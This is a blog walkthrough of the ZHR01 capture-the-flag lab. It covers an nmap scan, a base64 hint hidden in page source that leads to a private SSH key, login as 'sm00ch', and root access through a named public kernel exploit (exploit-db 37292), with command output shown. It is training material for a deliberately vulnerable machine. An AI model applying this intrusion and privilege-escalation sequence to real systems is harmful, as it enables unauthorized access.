ZHR01 Walkthrough

Published in

InfoSec Adventures

3 min readSep 19, 2018

This challenge is extraordinary because it’s not from vulnhub. ZHR01 was part of a course on Udemy, which you can check out here: https://www.udemy.com/kali-linux-tutorial-for-beginners/

You can download the challenge from here: https://1drv.ms/u/s!Au8ppV18SdSKbag8clXoBLGdOX0

The result of the nmap scan:

┌─[root@kali]─[~]
└──╼ # nmap -A 192.168.43.155
Nmap scan report for ZHR01 (192.168.43.155)
Host is up (0.00017s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 25:fe:10:ef:eb:5c:7d:ee:69:46:1d:a1:20:4c:31:72 (RSA)
|   256 d1:85:46:de:b7:16:05:bb:6a:10:11:79:65:ca:f4:8e (ECDSA)
|_  256 41:b8:50:96:33:1c:4d:fb:e0:1f:be:7e:ca:6d:29:64 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Welcome to Smooch and Leo's site
MAC Address: 08:00:27:D7:38:53 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE
HOP RTT     ADDRESS
1   0.17 ms ZHR01 (192.168.43.155)

There was only two services running, so let’s check the web server first. I viewed the source of the “About Smooch” page since the cat likes to hide things.

<html class="gr__192_168_43_155">
 <head>
  <title>Smooch's Site</title>
 </head>
 <body data-gr-c-s-loaded="true">
  <h1 style="text-align: center;">Smooch</h1>
  <p style="text-align: center;">
   <span style="color: #000000;">
    <img src="/images/smooch.jpg" 
    alt="I have hidden something for you ;-)">&nbsp;
   </span>
  </p>
 <p style="text-align: center;">
   This is Smooch, she is Leo's step mother.
   She raised him like her own son. She really loves to hide things.        
    <br>Maybe she was hinding something for you too... ;-)
 </p>
 <p style="text-align: center;">
  <span style="color: #000000;">
   <strong>
    <a style="color: #000000; text-decoration: underline;" 
      href="index.html">&lt; Back</a>
   </strong>
  </span>
 </p>
 <!-- Y2hlY2sgb3V0IHNtb29jaF9zZWNyZXQudHh0 -->
 </body>
   <span class="gr__tooltip">
    <span class="gr__tooltip-content"></span>
    <i class="gr__tooltip-logo"></i>
    <span class="gr__triangle"></span>
   </span>
</html>

The comment was a base64 encoded text, which was:

echo Y2hlY2sgb3V0IHNtb29jaF9zZWNyZXQudHh0 | base64 -d
check out smooch_secret.txt

It was again a base64 encoded text file, which contained a private RSA key:

Using the SSH key

I needed to change the permissions of the file.

┌─[root@kali]─[~/Downloads]
└──╼ # chmod 600 private_key

First, I tried root and smooch as the username, but eventually, I found out the correct username is sm00ch, who published the articles on the site.

┌─[root@kali]─[~/Downloads]
└──╼ # ssh -i private_key sm00ch@192.168.43.155
Welcome to Ubuntu 14.10 (GNU/Linux 3.16.0-23-generic i686)* Documentation:  https://help.ubuntu.com/System information as of Mon Sep  3 00:23:58 CEST 2018System load:  0.0               Processes:           72
  Usage of /:   58.0% of 1.91GB   Users logged in:     0
  Memory usage: 5%                IP address for eth0: 192.168.43.155
  Swap usage:   0%Graph this data and manage this system at:
    https://landscape.canonical.com/Your Ubuntu release is not supported anymore.
For upgrade information, please visit:
http://www.ubuntu.com/releaseendoflifeNew release '15.04' available.
Run 'do-release-upgrade' to upgrade to it.sm00ch@ZHR01:~$

The goal of this challenge is to get root, but for that, I needed to escalate my privileges.

sm00ch@ZHR01:~$ whoami
sm00ch
sm00ch@ZHR01:~$ uname -a
Linux ZHR01 3.16.0-23-generic #31-Ubuntu 2014 i686 i686 i686
sm00ch@ZHR01:~$ cat /etc/issue
Ubuntu 14.10 \n \l

I quickly found the correct kernel exploit for the job. Here: https://www.exploit-db.com/exploits/37292/

sm00ch@ZHR01:/tmp$ gcc 37292.c -o exploit
sm00ch@ZHR01:/tmp$ ./exploit 
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# whoami
root

I got root and with this, I consider the challenge finished.

It can be a very good starting point for beginners and for those, who like to get started with CTFs and security. Even though you can complete it in a short amount of time, you can still learn from it and improve your skills.

Before you go…

Thank you for taking the time to read my walkthrough. If you found it helpful, please hit the 👏 button 👏 (up to 50x) and share it to help others with similar interest find it! + Feedback is always welcome! 🙏

ZHR01 Walkthrough

Using the SSH key

Before you go…

Written by Mr. Robot